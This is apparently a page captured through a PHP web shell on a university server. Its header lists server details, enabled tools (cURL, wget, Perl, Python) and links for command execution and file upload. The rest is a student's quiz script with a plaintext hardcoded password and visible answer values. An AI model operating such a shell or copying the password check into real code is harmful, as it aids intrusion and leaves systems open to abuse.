Server IP : 172.16.15.8 / Your IP : 18.227.209.214 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/cjtaylor1/../akshoop/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Assignment 2-1 Author: Abigail Shoop File name: WebExamAfterPassword.php --> <?php session_start(); $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw21") print "go away."; else { ?> <CENTER> <H2>Exam Form</H2> <FORM action=WebExamPasswordAct.php method=post> 1. Who created the lightbulb? <br> <INPUT type=radio name=q1 value=t > <b>A:</b> Thomas Edison <INPUT type=radio name=q1 value=f> <b>B:</b> Thomas Watson <INPUT type=radio name=q1 value=f> <b>C:</b> Thomas the Tank Engine <INPUT type=radio name=q1 value=f> <b>D:</b> Thomas Jefferson <P> 2. Solve 3<sup>4</sup> ÷ 3<sup>2</sup> <br> <INPUT type=radio name=q2 value=f> <b>A:</b> 3 <INPUT type=radio name=q2 value=t> <b>B:</b> 9 <INPUT type=radio name=q2 value=f> <b>C:</b> 72 <INPUT type=radio name=q2 value=f> <b>D:</b> 81 <P> 3. Who was the first president of the United States? <br> <INPUT type=radio name=q3 value=f> <b>A:</b> George Bush <INPUT type=radio name=q3 value=f> <b>B:</b> The OTHER George Bush <INPUT type=radio name=q3 value=t> <b>C:</b> George Washington <INPUT type=radio name=q3 value=f> <b>D:</b>Curious George <P> 4. In what year were women granted the right to vote in the United States? <br> <INPUT type=radio name=q4 value=f> <b>A:</b> 1620 <INPUT type=radio name=q4 value=f> <b>B:</b> 1720 <INPUT type=radio name=q4 value=f> <b>C:</b> 1820 <INPUT type=radio name=q4 value=t> <b>D:</b> 1920 <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> </CENTER> <?php } ?>